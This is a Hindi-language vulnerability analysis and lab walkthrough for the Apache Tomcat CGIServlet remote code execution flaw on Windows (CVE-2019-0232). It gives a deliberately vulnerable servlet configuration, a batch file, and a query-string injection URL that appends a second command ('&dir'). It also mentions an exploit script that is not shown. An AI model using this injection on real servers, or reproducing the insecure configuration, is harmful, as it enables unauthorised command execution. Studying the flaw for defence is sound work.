
भेद्यता विश्लेषण और PoC के लिए Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (RCE)
अपाचे टॉमकैट - CGIServlet enableCmdLineArguments रिमोट कोड निष्पादन (RCE) के लिए भेद्यता विश्लेषण और PoC
वीडियो PoC उपलब्ध है https://www.youtube.com/watch?v=RA7kzuHOWqA
अपाचे टॉमकैट में CGI सर्वलेट में एक भेद्यता है, जिसका उपयोग रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए किया जा सकता है। यह केवल तभी शोषणीय है जब विंडोज पर एक गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन में बैच फ़ाइलों के साथ चलाया जाता है। कॉमन गेटवे इंटरफ़ेस (CGI) एक मानक प्रोटोकॉल है जो वेब सर्वरों को वेब अनुरोधों के माध्यम से कमांड-लाइन प्रोग्राम/स्क्रिप्ट निष्पादित करने की अनुमति देता है। यह प्रोटोकॉल URL पैरामीटर के माध्यम से निष्पादित की जा रही स्क्रिप्ट या प्रोग्राम में कमांड-लाइन तर्क पारित करने में भी सक्षम बनाता है। प्रोटोकॉल स्वयं RFC 3875 में परिभाषित है। जब enableCmdLineArguments सक्षम के साथ विंडोज पर चलाया जाता है, तो अपाचे टॉमकैट में CGI सर्वलेट RCE के लिए असुरक्षित है क्योंकि JRE द्वारा विंडोज को कमांड-लाइन तर्क पारित करने के तरीके में एक बग है। CGI सर्वलेट डिफ़ॉल्ट रूप से अक्षम है। CGI विकल्प enableCmdLineArguments टॉमकैट 9.0.x में डिफ़ॉल्ट रूप से अक्षम है (और इस भेद्यता के जवाब में सभी संस्करणों में डिफ़ॉल्ट रूप से अक्षम किया जाएगा)।
वीडियो PoC उपलब्ध है https://www.youtube.com/watch?v=RA7kzuHOWqA
a. conf/context.xml को संशोधित करें और <Context privileged="true"> बनाएं।

b. /conf/web.xml फ़ाइल में क्रमशः पंक्ति 366 और 420 के आसपास निम्नलिखित परिवर्तन करें।

enableCmdLineArguments को True होना चाहिए क्योंकि हम Tomcat 9 का उपयोग कर रहे हैं।
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>

<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
webapps\ROOT\WEB-INF\cgi में CGI फ़ाइलों के लिए एक फ़ोल्डर बनाएं और उसमें निम्नलिखित सामग्री के साथ ism.bat फ़ाइल जोड़ें:
@echo off
echo Content-Type: text/plain
echo .
http://localhost:8080/cgi/ism.bat?&dir पर जाएं कि सर्वर काम कर रहा है या नहीं।
cve-2019-0232.py चलाएं, इसमें सर्वर IP और पोर्ट जोड़ें।
वीडियो PoC का लिंक: https://www.youtube.com/watch?v=RA7kzuHOWqA
[[a-zA-Z0-9\Q-_.\\/:\E]+] लागू किया।